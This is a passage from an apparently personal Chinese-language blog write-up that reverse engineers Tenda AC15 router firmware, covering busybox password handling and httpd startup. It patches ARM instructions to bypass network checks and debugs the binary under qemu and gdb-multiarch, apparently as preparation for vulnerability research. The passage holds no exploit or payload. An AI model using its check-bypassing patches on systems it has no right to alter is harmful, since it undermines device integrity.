      // 记录密码错误信息
      sub_4E414("Login incorrect");
    }
  }
  // 正常启动系统
  sub_4E414("Normal startup");
​
  // 返回0表示函数执行完毕
  return 0;
}

5.密码应该存储在/etc/passwd

看看有没有提取时候对他进行混淆,很遗憾没有找到,难道没有?

只找到这个地方对文件中的面膜进行检索修改

int __fastcall sub_54298(int a1, const char *a2, const char *a3)
{
  const char *v4; // 存储函数 sub_DD30 的返回结果
  char *v5; // 存储指向 v4 的指针
  int v6; // 函数的返回值
  char *v7; // 存储格式化后的字符串
  size_t v8; // 存储字符串 v7 的长度
  char *v9; // 存储格式化后的字符串
  FILE *v10; // 存储文件指针
  int v11; // 用于计数
  int v12; // 存储文件描述符
  int v13; // 存储 open64 函数的返回值
  size_t v14; // 存储字符串 v7 的长度减 1
  _DWORD *v15; // 指向全局变量的指针
  FILE *v16; // 存储文件指针
  char *v17; // 用于保存文件路径
  char *v18; // 用于保存临时文件路径
  char *v19; // 存储从文件中读取的一行内容
  const char *v20; // 存储查找子字符串的结果
  int v21; // 存储文件错误状态
  int v22; // 存储文件同步状态
  int v24; // 用于保存函数返回状态
  FILE *stream; // 存储文件流指针
  size_t n; // 存储字符串 v9 的长度
  char v28[16]; // 用于存储文件状态信息
  int v29; // 用于保存文件权限
  __uid_t owner; // 用于保存文件所有者
  __gid_t group; // 用于保存文件组
  __int16 v32[4]; // 用于文件锁定操作
  int v33; // 用于文件锁定操作
  int v34; // 用于文件锁定操作
  int v35; // 用于文件锁定操作
  int v36; // 用于文件锁定操作
​
  v4 = (const char *)sub_DD30(a1); // 获取文件路径
  v5 = (char *)v4;
  if (!v4)
    return -1; // 如果文件路径为空,返回 -1
  v7 = (char *)sub_D964("%s+", v4); // 创建临时文件路径
  v8 = strlen(v7); // 获取临时文件路径的长度
  v9 = (char *)sub_D964("%s:", a2); // 创建查找的字符串
  n = strlen(v9); // 获取查找字符串的长度
  v10 = (FILE *)sub_D0BC(v5, "r+"); // 打开文件进行读写操作
  stream = v10;
  if (v10)
  {
    v11 = 30; // 设置重试次数
    v12 = fileno(v10); // 获取文件描述符
    while (1)
    {
      v13 = open64(v7, 193, 384); // 打开临时文件
      if (v13 >= 0)
        break; // 如果打开成功,跳出循环
      if (*(_DWORD *)dword_6DED4 == 17) // 如果错误码为 17
      {
        usleep((__useconds_t)&off_186A0); // 等待一段时间
        if (--v11) // 减少重试次数
          continue; // 继续尝试
      }
      sub_CD54("can't create '%s'", v7); // 无法创建临时文件,记录错误
LABEL_30:
      v6 = -1;
      goto LABEL_31;
    }
    if (!fstat64(v12, v28)) // 获取文件状态
    {
      fchmod(v13, v29 & 0x1FF); // 设置文件权限
      fchown(v13, owner, group); // 设置文件所有者和组
    }
    v14 = v8 - 1;
    v15 = (_DWORD *)dword_6DED4;
    *(_DWORD *)dword_6DED4 = 0;
    v16 = (FILE *)sub_D10C(v13); // 打开临时文件
    v7[v14] = '-'; // 修改文件路径中的最后一个字符
    if (unlink(v7) && *v15 != 2 || link(v5, v7)) // 创建备份文件
      sub_CD54("warning: can't create backup copy '%s'", v7);
    v7[v14] = '+';
    v32[0] = 1;
    v32[1] = 0;
    v33 = 0;
    v34 = 0;
    v35 = 0;
    v36 = 0;
    if (fcntl64(v12, 13, v32) < 0) // 锁定文件
      sub_CD54("warning: can't lock '%s'", v5);
    v17 = v5;
    v6 = 0;
    v18 = v7;
    v32[0] = 2;
    while (1)
    {
      v19 = (char *)sub_4D3BC(stream); // 读取文件的一行
      if (!v19)
        break; // 如果读取失败,跳出循环
      if (!strncmp(v9, v19, n)) // 如果找到匹配的行
      {
        if (*(_BYTE *)dword_6DECC == 112)
        {
          ++v6;
          v20 = (const char *)strchrnul(&v19[n], 58); // 查找子字符串
          fprintf(v16, "%s%s%s\n", v9, a3, v20); // 写入新内容
        }
      }
      else
      {
        fprintf(v16, "%s\n", v19); // 写入原内容
      }
      free(v19); // 释放内存
    }
    v7 = v18;
    v5 = v17;
    if (!v6 && *(_BYTE *)dword_6DECC == 97) // 如果没有找到匹配行并且模式为 'a'
    {
      v6 = 1;
      fprintf(v16, "%s%s\n", v9, a3); // 写入新行
    }
    fcntl64(v12, 13, v32); // 解锁文件
    *(_DWORD *)dword_6DED4 = 0;
    v21 = ferror(stream); // 检查文件错误
    v24 = fflush(v16); // 刷新文件流
    v22 = fsync(v13); // 同步文件
    if (v24 | v21 | v22 | fclose(v16) || rename(v7, v5)) // 处理文件操作的错误
    {
      sub_558E8(); // 调用错误处理函数
      unlink(v7); // 删除临时文件
      goto LABEL_30;
    }
LABEL_31:
    fclose(stream); // 关闭文件流
  }
  else
  {
    v6 = -1;
  }
  free(v7); // 释放内存
  free(v5); // 释放内存
  free(v9); // 释放内存
  return v6; // 返回结果
}

3.总结

这里主要就是一个登陆界面的密码检查和修改相关程序

这是我们分析的idb文件http://www.giraffexiu.love/wp-content/uploads/2024/05/busybox.zip

6.分析连接文件httpd

1.文件地址

还是一样的地址

/home/iot/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root/bin

image-20240527211530678

2.字符串检索交叉引用,程序的进程停止的地方

image-20240527211741458

int __fastcall sub_2E420(int a1, int a2)
{
  void *v2; // 用于 memset 初始化的临时变量
  int v3; // 存储 puts 函数的返回值
  unsigned int v4; // 存储 sleep 函数的返回值
  int LanIfName; // 存储局域网接口名称
  in_addr_t v7; // 存储 IP 地址
  __pid_t v8; // 存储进程 ID
  int v9; // 存储 doSystemCmd 函数的返回值
  int v10; // 临时变量,用于循环中
  int v11; // 临时变量,用于子函数调用
  int v12; // 临时变量,用于条件判断
  int v13; // 临时变量,用于子函数调用
  char v17[80]; // 临时缓冲区
  int v18; // 临时变量,用于传递数据
  int v19[3]; // 临时缓冲区
  char v20[16]; // 临时缓冲区
  char v21[24]; // 临时缓冲区
  int dest[2]; // 临时缓冲区
  char s[128]; // 临时缓冲区
  __pid_t v24; // 存储进程 ID
  int v25; // 计数器变量
​
  // 初始化缓冲区和变量
  v2 = memset(s, 0, sizeof(s));
  dest[0] = 0;
  dest[1] = 0;
  memset(v21, 0, sizeof(v21));
  memset(v20, 0, sizeof(v20));
  v18 = 0;
  init_core_dump(v2); // 初始化核心转储
  v3 = puts("\n\nYes:\n\n      ****** WeLoveLinux****** \n\n Welcome to ...");
  sub_30A5C(v3); // 显示欢迎信息
​
  // 检查网络连接
  while ( check_network(v21) <= 0 )
    sleep(1u);
  v4 = sleep(1u);
​
  // 如果连接确认成功
  if ( ConnectCfm(v4) )
  {
    sub_103D0(0, 61440, 1); // 调用子函数初始化
    memset(s, 0, sizeof(s));
    if ( !GetValue("lan.webiplansslen", s) )
      strcpy(s, "0");
    sslenable = atoi(s);
    if ( !GetValue("lan.webport", s) )
      strcpy(s, "80");
    if ( !GetValue("lan.webipen", dest) )
      strcpy((char *)dest, "0");
    if ( !strcmp((const char *)dest, "1") )
    {
      sslport = atoi(s);
      port = atoi(s);
    }
    LanIfName = getLanIfName(); // 获取局域网接口名称
    if ( getIfIp(LanIfName, v20) < 0 )
    {
      GetValue("lan.ip", s);
      strcpy(g_lan_ip, s);
      memset(v17, 0, sizeof(v17));
      if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] )
        vos_strcpy(g_lan_ip, v17);
    }
    else
    {
      vos_strcpy(g_lan_ip, v20);
    }
    memset(v19, 0, 9u);
    v7 = inet_addr(g_lan_ip); // 获取局域网 IP 地址
    v19[0] = LOBYTE(v19[0]) | (v7 << 8);
    LOBYTE(v19[1]) = HIBYTE(v7);
    tpi_talk_to_kernel(5, v19, &v18, 0, 0, 0, a2, a1); // 与内核通信
    sub_2ED58(1); // 调用子函数
    sub_2ED58(0); // 调用子函数
    v8 = getpid(); // 获取当前进程 ID
    v9 = doSystemCmd("echo %d > %s", v8, "/etc/httpd.pid"); // 执行系统命令
    if ( sub_2E9EC(v9) >= 0 )
    {
      memset(&loginUserInfo, 0, 0x6Cu); // 初始化登录用户信息
      signal(15, (__sighandler_t)sub_2E1B8); // 注册信号处理函数
      signal(9, (__sighandler_t)sub_2E1B8); // 注册信号处理函数
      signal(14, (__sighandler_t)sub_2E240); // 注册信号处理函数
      alarm(0x3Cu); // 设置定时器
      v25 = 0;
      mallopt(-1, 0); // 内存优化
      mallopt(-3, 2048); // 内存优化
      v24 = getpid(); // 获取当前进程 ID
​
      // 主循环
      while ( !dword_101AA0 )
      {
        v10 = sub_1C2EC(-1, 1000); // 调用子函数
        if ( v10 > 0 )
          v10 = sub_1C7E8(-1); // 调用子函数
        v11 = sub_11868(v10); // 调用子函数
        sub_2E060(v11); // 调用子函数
        if ( !(++v25 % 100) )
          malloc_trim(0); // 内存优化
      }
      if ( sslenable )
      {
        v12 = sub_1F294(); // 调用子函数
      }
      else
      {
        v13 = sub_29704(); // 调用子函数
        v12 = sub_1B774(v13); // 调用子函数
      }
      sub_10550(v12); // 调用子函数
      return 0;
    }
    else
    {
      puts("main -> initWebs failed");
      return -1;
    }
  }
  else
  {
    printf("connect cfm failed!");
    return 0;
  }
}

这里实现了网络连接检查、初始化网络设置、与内核通信、信号处理和主循环的执行

1.网络连接检查

while ( check_network(v21) <= 0 )
    sleep(1u);
v4 = sleep(1u);
​
if ( ConnectCfm(v4) )
{
  // 连接确认成功后的逻辑
}
else
{
  printf("connect cfm failed!");
  return 0;
}

2.初始化网络设置

sub_103D0(0, 61440, 1); // 调用子函数初始化
memset(s, 0, sizeof(s));
if ( !GetValue("lan.webiplansslen", s) )
  strcpy(s, "0");
sslenable = atoi(s);
if ( !GetValue("lan.webport", s) )
  strcpy(s, "80");
if ( !GetValue("lan.webipen", dest) )
  strcpy((char *)dest, "0");
if ( !strcmp((const char *)dest, "1") )
{
  sslport = atoi(s);
  port = atoi(s);
}
LanIfName = getLanIfName(); // 获取局域网接口名称
if ( getIfIp(LanIfName, v20) < 0 )
{
  GetValue("lan.ip", s);
  strcpy(g_lan_ip, s);
  memset(v17, 0, sizeof(v17));
  if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] )
    vos_strcpy(g_lan_ip, v17);
}
else
{
  vos_strcpy(g_lan_ip, v20);
}

3.内核通信

memset(v19, 0, 9u);
v7 = inet_addr(g_lan_ip); // 获取局域网 IP 地址
v19[0] = LOBYTE(v19[0]) | (v7 << 8);
LOBYTE(v19[1]) = HIBYTE(v7);
tpi_talk_to_kernel(5, v19, &v18, 0, 0, 0, a2, a1); // 与内核通信

4.信号处理

signal(15, (__sighandler_t)sub_2E1B8); // 注册信号处理函数
signal(9, (__sighandler_t)sub_2E1B8); // 注册信号处理函数
signal(14, (__sighandler_t)sub_2E240); // 注册信号处理函数
alarm(0x3Cu); // 设置定时器

5.主循环的执行

while ( !dword_101AA0 )
{
  v10 = sub_1C2EC(-1, 1000); // 调用子函数
  if ( v10 > 0 )
    v10 = sub_1C7E8(-1); // 调用子函数
  v11 = sub_11868(v10); // 调用子函数
  sub_2E060(v11); // 调用子函数
  if ( !(++v25 % 100) )
    malloc_trim(0); // 内存优化
}
if ( sslenable )
{
  v12 = sub_1F294(); // 调用子函数
}
else
{
  v13 = sub_29704(); // 调用子函数
  v12 = sub_1B774(v13); // 调用子函数
}
sub_10550(v12); // 调用子函数

3.解析无法继续进行流程的的地方

这个地方调用了check_network函数,如果检查不过就会跳转到蓝线指向的流程进行,然后再次无条件跳转回去到loc_2E504再次指令流程

进入一个死循环导致无法进行后续的流程

image-20240527215548890

4.绕过死循环

1.思路简析

这里的绕过很简单,我们这里因为如果检查不通过就会给R0返回0 ,然后将R0赋给R3,然后比较如果R3等于0,就会进入死循环

这里我们尝试使用patch bytes将R3直接设置为1,永真就不会进入循环了

2.patch bytes的指令修改

image-20240527220937860

要将这里的数据改成MOV R3, #1

image-20240527221005865

2.目标指令的修改生成

安装对应的库
pip install keystone-engine

注意这里的虚拟环境运行

"E:\\making products\\py\\miam\\.venv\\Scripts\\activate"

image-20240527221425567

生成的代码
from keystone import *
​
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
encoding, _ = ks.asm('MOV R3, #1')
print(encoding)
前面的貌似不太行,使用keypatch插件

keystone-engine/keypatch: Multi-architecture assembler for IDA Pro. Powered by Keystone Engine. (github.com)

image-20240527222427644

或者指令转换
sudo apt install radare2
rasm2 -a arm "mov r3,1"
rasm2 -a arm "mov r3,r0"

5.绕过网络检查的end函数

可以看到这里调用了Cfm函数检查网络的连接状况,跟前面逻辑类似,如果返回的R0为0则跳转到红线的函数

1.判定的逻辑

image-20240528191346700

2.判定失败跳转到逻辑

这里跳转后你会直接无条件跳转到函数结束的地方

image-20240528191738652

3.处理方法

和上面一样将mov的R0换成#1,变成永真后保存就可以了

image-20240528192439951

4.保存文件

image-20240527222818521

image-20240527222924553

5.替换文件

将原本文件夹内的文件替换为修改后的文件

6.再次运行程序查看后续的流程

image-20240528210730058

iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd
init_core_dump 1816: rlim_cur = 0, rlim_max = -1
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
​
​
Yes:
​
      ****** WeLoveLinux****** 
​
 Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
create socket  fail -1
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 255.255.255.255 port = 80
webs: Listening for HTTP requests at address 4.246.254.255

image-20240528211050592

ip地址一看不对没法访问,分析调用逻辑

7.交叉引用ip,找程序关键

字符串定位找到关键调用函数

image-20240528212409168

创建并配置一个网络套接字,以在指定的 IP 地址和端口上监听连接请求

int __fastcall sub_1B84C(const char *a1, int a2, int a3, char a4)
{
  // a1: IP地址字符串的指针
  // a2: 通常作为端口号
  // a3: 目前未在该函数中使用
  // a4: 一个字节,用于配置一些额外的选项
​
  // 检查端口号是否在有效范围内(0 - 65535),如果超过则返回-1,结束函数
  if ( a2 > 0xFFFF ) 
    return -1;
  
  // 调用另一个函数(可能进行初始化操作),失败则返回-1,结束函数
  v21 = sub_1B1A0(a1, a2, a3, a4);
  if ( v21 < 0 )
    return -1;
​
  // 准备用于bind()函数的数据结构sockaddr
  v20 = *(_DWORD **)(socketList + 4 * v21);
  memset(&s, 0, sizeof(s));
  s.sa_family = 2;
  *(_WORD *)s.sa_data = htons(v12);
  if ( a1 )
    *(_DWORD *)&s.sa_data[2] = inet_addr(a1);
  else
    *(_DWORD *)&s.sa_data[2] = 0;
​
  // 创建套接字。如果创建失败,则释放资源并返回-1
  v6 = socket(2, v5, 0);
  v20[44] = v6;
  if ( (int)v20[44] < 0 )
  {
    sub_1B2F0(v21);
    return -1;
  }
​
  // 设置新创建的套接字为非阻塞模式
  fcntl(v20[44], 2, 1);
​
  // 更新socketHighestFd值
  v7 = v20[44];
  if ( v7 < socketHighestFd )
    v7 = socketHighestFd;
  socketHighestFd = v7;
​
  // 设置socket选项,包括是否重用地址、接收缓存、发送缓存等
  ...
​
  // 将套接字绑定到指定的IP地址和端口。如果绑定失败,释放资源并返回-1
  if ( bind(v20[44], &s, 0x10u) < 0 )
  {
    sub_1B2F0(v21);
    return -1;
  }
​
  // 打印服务器监听的IP地址和端口号
  v8 = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);
  v9 = ntohs(*(uint16_t *)s.sa_data);
  printf("httpd listen ip = %s port = %d\n", v8, v9);
​
  // 开始在指定的套接字上进行监听,最大挂起连接数设置为128
  if ( !v18 )
  {
    if ( listen(v20[44], 128) < 0 )
    {
      sub_1B2F0(v21);
      return -1;
    }
    v20[43] |= 0x100u;
  }
​
  // 根据a4的最高位是否设置,调用sub_1CAE8()函数
  if ( (a4 & 0x80) != 0 )
    sub_1CAE8(v21, 1);
  else
    sub_1CAE8(v21, 0);
​
  // 返回v21(可能是socket描述符)
  return v21;
}

8.调试sub_1B84C函数的调用链

第一次用gdb调试异架构程序顺便详细记录一下

1.启动调试操作

1.启动qemu模拟环境,并且打开gdb调试端口
sudo chroot . ./qemu-arm-static -g 8888 ./bin/httpd
2.另开终端启动gdb-mul(支持不同架构的调试模式)
gdb-multiarch
3.设置gdb遵循ARM架构调试框架
set architecture arm
4.设置ip调用的函数断点

image-20240528215827996

b *0x001B84C
5.连接前面qemu环境打开的端口进行远程调试
target remote :8888
6.示例

image-20240528222127566

iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ sudo chroot . ./qemu-arm-static -g 8888 ./bin/httpd
[sudo] password for iot: 
​

image-20240528222138558

iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ gdb-multiarch
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 191 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> b *0x001B84C
Breakpoint 1 at 0x1b84c
pwndbg> target remote :8888
Remote debugging using :8888
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0xff7e1930 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
 R0   0x0
 R1   0xfffef79e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
 R2   0x0
 R3   0x0
 R4   0x0
 R5   0x0
 R6   0x0
 R7   0x0
 R8   0x0
 R9   0x0
 R10  0xff000 —▸ 0xfa00 ◂— push   {r3, lr} /* 0xe92d4008 */
 R11  0x0
 R12  0x0
 SP   0xfffef680 ◂— 1
 PC   0xff7e1930 ◂— mov    r0, sp /* 0xe1a0000d; '\r' */
───────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────
 ► 0xff7e1930    mov    r0, sp
   0xff7e1934    bl     #0xff7e4bb4                   <0xff7e4bb4>
 
   0xff7e1938    mov    r6, r0
   0xff7e193c    ldr    sl, [pc, #0x30]
   0xff7e1940    add    sl, pc, sl
   0xff7e1944    ldr    r4, [pc, #0x2c]
   0xff7e1948    ldr    r4, [sl, r4]
   0xff7e194c    ldr    r1, [sp]
   0xff7e1950    sub    r1, r1, r4
   0xff7e1954    add    sp, sp, r4, lsl #2
   0xff7e1958    add    r2, sp, #4
────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffef680 ◂— 1
01:0004│    0xfffef684 —▸ 0xfffef79e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
02:0008│    0xfffef688 ◂— 0
03:000c│    0xfffef68c —▸ 0xfffef7aa ◂— svcmi  #0x445553 /* 0x4f445553; 'SUDO_GID=1000' */
04:0010│    0xfffef690 —▸ 0xfffef7b8 ◂— svcmi  #0x445553 /* 0x4f445553; 'SUDO_UID=1000' */
05:0014│    0xfffef694 —▸ 0xfffef7c6 ◂— svcmi  #0x445553 /* 0x4f445553; 'SUDO_USER=iot' */
06:0018│    0xfffef698 —▸ 0xfffef7d4 ◂— svcmi  #0x445553 /* 0x4f445553; 'SUDO_COMMAND=/usr/sbin/chroot . ./qemu-arm-static -g 8888 ./bin/httpd' */
07:001c│    0xfffef69c —▸ 0xfffef81a ◂— mcrrmi p8, #5, r4, r5, c3 /* 0x4c454853; 'SHELL=/bin/bash' */
──────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
 ► f 0 0xff7e1930
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

2.ida辅助分析

1.ip生成的回调函数

交叉引用这里的inet_ntoa回调函数进行了对于ip的处理

image-20240529143738445

2.向上回溯,找到调用sub_29818函数的调用

image-20240529144243744

1.调用一sub_1EA08
int sub_1EA08()
{
  int v0; // 定义一个整型变量 `v0`
  int v3; // 定义一个整型变量 `v3`
​
  // 将全局变量 `sslport` 的值赋给局部变量 `v3`
  v3 = sslport;
​
  // 调用 `sub_C9054` 函数,如果返回值小于0,表示初始化失败
  if (sub_C9054() < 0)
  {
    // 打印错误信息 "matrixSslOpen failed, exiting..."
    fwrite("matrixSslOpen failed, exiting...", 1u, 0x20u, stderr);
  }
​
  // 调用 `sub_C90C8` 函数,读取证书和私钥,如果返回值大于等于0,表示读取成功
  if (sub_C90C8(&dword_101A24, aWebrootPemCert, aWebrootPemPriv, 0, 0) >= 0)
  {
    // 如果 `v3` 不为0,尝试在 `v3` 指定的端口上打开SSL套接字
    if (v3)
      dword_FFE40 = sub_1B84C(0, v3, (int)websSSLAccept, 128);
    // 否则尝试在默认的443端口上打开SSL套接字
    else
      dword_FFE40 = sub_1B84C(0, 443, (int)websSSLAccept, 128);
​
    // 如果套接字成功打开(返回值大于等于0)
    if (dword_FFE40 >= 0)
    {
      // 返回0表示成功
      return 0;
    }
    else
    {
      // 打印错误信息,表示无法在指定端口上打开SSL套接字
      fprintf(stderr, "SSL: Unable to open SSL socket on port <%d>!\n", v3);
      // 返回-1表示失败
      return -1;
    }
  }
  else
  {
    // 打印错误信息,表示读取证书失败
    fwrite("failed to read certificates in websSSLOpen\n", 1u, 0x2Bu, stderr);
    
    // 调用 `sub_C90D0` 和 `sub_C9098` 释放资源
    v0 = sub_C90D0(dword_101A24);
    sub_C9098(v0);
    
    // 返回-1表示失败
    return -1;
  }
}
1.函数概述

打开一个SSL套接字,用于处理HTTPS请求

2.大致流程
  1. 初始化SSL

    • 将全局变量 sslport 的值赋给局部变量 v3

    • 调用 sub_C9054 函数,如果返回值小于0,表示初始化失败,并打印错误信息 "matrixSslOpen failed, exiting..."

  2. 读取证书和私钥

    • 调用 sub_C90C8 函数,尝试读取证书和私钥文件。如果返回值大于等于0,表示读取成功

  3. 创建SSL套接字

    • 如果 v3 不为0,尝试在 v3 指定的端口上创建SSL套接字;否则,在默认的443端口上创建SSL套接字

    • 如果套接字成功创建,返回0表示成功;否则,打印错误信息并返回-1表示失败

  4. 处理读取证书失败

    • 如果读取证书失败,打印错误信息 "failed to read certificates in websSSLOpen"

    • 调用 sub_C90D0sub_C9098 释放资源

    • 返回-1表示失败

3.总结

这个函数主要是处理SSL的socket,处理http请求,跟ip的生成没有太大的关系

调用sub_1B84C作用是指定端口上创建一个 SSL 套接字

成功,则返回一个非负的套接字标识符

失败,则返回 -1 并打印错误信息

2.调用二sub_29818
int __fastcall sub_29818(int a1, int a2)
{
  char s[16]; // 定义一个字符数组 `s` 大小为16字节,用于存储临时数据
  int v7; // 定义一个整型变量 `v7`
  const char *v8; // 定义一个指向字符常量的指针 `v8`
  int i; // 定义一个整型变量 `i`
​
  // 将字符数组 `s` 初始化为零
  memset(s, 0, sizeof(s));
  
  // 将全局变量 `g_lan_ip` 的值赋给局部变量 `v8`
  v8 = g_lan_ip;
  
  // 将参数 `a1` 的值赋给局部变量 `v7`
  v7 = a1;
​
  // 循环尝试打开套接字,最多尝试 `a2` 次
  for (i = 0; i <= a2; ++i)
  {
    // 调用 `sub_1B84C` 函数尝试打开一个套接字,并将返回值赋给 `dword_101A7C`
    dword_101A7C = sub_1B84C(v8, a1, (int)websAccept, 0);
    
    // 如果套接字成功打开(返回值大于等于0),则跳出循环
    if (dword_101A7C >= 0)
      break;
  }
​
  // 如果成功打开套接字
  if (i <= a2)
  {
    // 将 `a1` 的值赋给全局变量 `websPort`
    websPort = a1;
    
    // 调用 `sub_10988` 函数,释放 `websHostUrl` 和 `websIpaddrUrl`
    sub_10988(websHostUrl);
    sub_10988(websIpaddrUrl);
    
    // 将 `websHostUrl` 和 `websIpaddrUrl` 置为0
    websHostUrl = 0;
    websIpaddrUrl = 0;
    
    // 如果端口是80(HTTP默认端口)
    if (a1 == 80)
    {
      // 调用 `sub_109B4` 函数设置 `websHostUrl` 和 `websIpaddrUrl`
      websHostUrl = sub_109B4(websHost);
      websIpaddrUrl = sub_109B4(websIpaddr);
    }
    else
    {
      // 调用 `sub_1837C` 函数设置带端口号的 `websHostUrl` 和 `websIpaddrUrl`
      sub_1837C(&websHostUrl, 4176, "%s:%d", websHost, a1);
      sub_1837C(&websIpaddrUrl, 4176, "%s:%d", websIpaddr, a1);
    }
    
    // 调用 `sub_204F8` 函数打印监听地址信息
    sub_204F8(0, "webs: Listening for HTTP requests at address %s\n", (const char *)websIpaddrUrl);
    
    // 返回监听的端口号
    return a1;
  }
  else
  {
    // 打印错误信息,表示无法在指定端口打开套接字
    printf("%s %d: Couldn't open a socket on ports %d\n", "websOpenListen", 253, v7);
    
    // 返回-1表示失败
    return -1;
  }
}
​
1.函数概述

一个网络套接字(Socket)的函数

解释一下这个地方的意思:

  1. 端口号:端口号是一个 16 位的数字,用来标识网络上的特定服务。比如,HTTP 通常使用端口 80,HTTPS 使用端口 443。

  2. 套接字:套接字是一个网络编程接口,用于在不同设备之间进行数据传输。它可以看作是通信的终点,包括一个 IP 地址和一个端口号。

  3. 创建套接字:在指定端口 a1 上创建一个套接字意味着在这个端口上为应用程序配置一个通道,通过这个通道可以接收和发送数据。这个过程通常包括以下步骤:

    • 创建套接字对象。

    • 绑定套接字到指定的 IP 地址和端口。

    • 将套接字设置为监听模式,等待客户端连接

sub_29818 尝试在指定端口 a1 上创建并配置一个套接字,如果成功,服务器就可以通过这个套接字接收客户端的 HTTP 请求

2.大致流程:
  1. 初始化:清空一个临时字符数组 s,并将全局局域网 IP 地址赋给局部变量 v8

  2. 尝试打开套接字:在一个循环中调用 sub_1B84C 函数,尝试在指定的 IP 地址和端口 a1 上创建一个套接字。如果成功(返回值大于等于0),跳出循环

  3. 成功处理

    • 设置全局变量 websPort 为端口 a1

    • 调用 sub_10988 释放先前的 URL 资源

    • 根据端口号是否为 80,设置 websHostUrlwebsIpaddrUrl

    • 打印监听地址的信息

    • 返回监听的端口号 a1

  4. 失败处理

    • 打印错误信息,表示无法在指定端口打开套接字

    • 返回 -1 表示失败

3.总结

这个函数调用sub_1B84C函数作用:

创建一个网络套接字,并在指定的 IP 地址 v8 和端口 a1 上监听 HTTP 请求

3.从生成ip的socket的sub_29818函数回溯得到函数的调用链
1.v8的ip再这里的g_lan_ip全局变量被赋值

image-20240529151157119

2.交叉引用这里的g_lan_ip全局变量

image-20240529152559026

发现主要是四个地方在调用

Direction   Type    Address Text
Up  o   LOAD:0000A644   Elf32_Sym <aGLanIp - byte_B654, g_lan_ip, 0x10, 0x11, 0, 0x17>; "g_lan_ip"
Up  o   sub_29818+70    LDR             R3, [R4,R3]; g_lan_ip
Down    o   sub_2E420+2C0   LDR             R2, [R4,R2]; g_lan_ip
Down    o   sub_2E420+2F0   LDR             R3, [R4,R3]; g_lan_ip
Down    o   sub_2E420+34C   LDR             R2, [R4,R2]; g_lan_ip
Down    o   sub_2E420+374   LDR             R3, [R4,R3]; g_lan_ip
Down    o   sub_2E9EC+50    LDR             R2, [R4,R2]; g_lan_ip
Down    o   .got:g_lan_ip_ptr   DCD g_lan_ip
1.存储字符串的地址
LOAD:0000A644 96 18 00 00 40 13 11 00 10 00+DCD aGLanIp - byte_B654                 ; st_name ; "g_lan_ip"
LOAD:0000A644 00 00 11 00 17 00             DCD g_lan_ip                            ; st_value
LOAD:0000A644                               DCD 0x10                                ; st_size
LOAD:0000A644                               DCB 0x11                                ; st_info
LOAD:0000A644                               DCB 0                                   ; st_other
LOAD:0000A644                               DCW 0x17                                ; st_shndx

image-20240529152847965

2.函数本身
Up  o   sub_29818+70    LDR             R3, [R4,R3]; g_lan_ip
3.主函数

image-20240529153024165

if ( getIfIp(LanIfName, v20) < 0 )
  {
    GetValue("lan.ip", s);
    strcpy(g_lan_ip, s);
    memset(v17, 0, sizeof(v17));
    if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] )
      vos_strcpy(g_lan_ip, v17);
  }
  else
  {
    vos_strcpy(g_lan_ip, v20);
  }
  1. if (getIfIp(LanIfName, v20) < 0)
    • getIfIp 函数被调用,尝试获取指定接口名称 LanIfName 的 IP 地址

    • 如果 getIfIp 返回的结果小于 0,表示获取失败,可能是由于指定的接口名称不存在或其他原因

  2. {
      GetValue("lan.ip", s);
      strcpy(g_lan_ip, s);
      memset(v17, 0, sizeof(v17));
      if (!tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0])
        vos_strcpy(g_lan_ip, v17);
    }
    • getIfIp 返回值小于 0 的情况下,表示无法从接口获取 IP 地址,所以尝试从配置中获取 IP 地址

    • GetValue("lan.ip", s) 从配置中获取键为 "lan.ip" 的值,即设备在局域网中的 IP 地址,并将其存储在字符串变量 s

    • strcpy(g_lan_ip, s) 将从配置中获取到的 IP 地址复制到全局变量 g_lan_ip

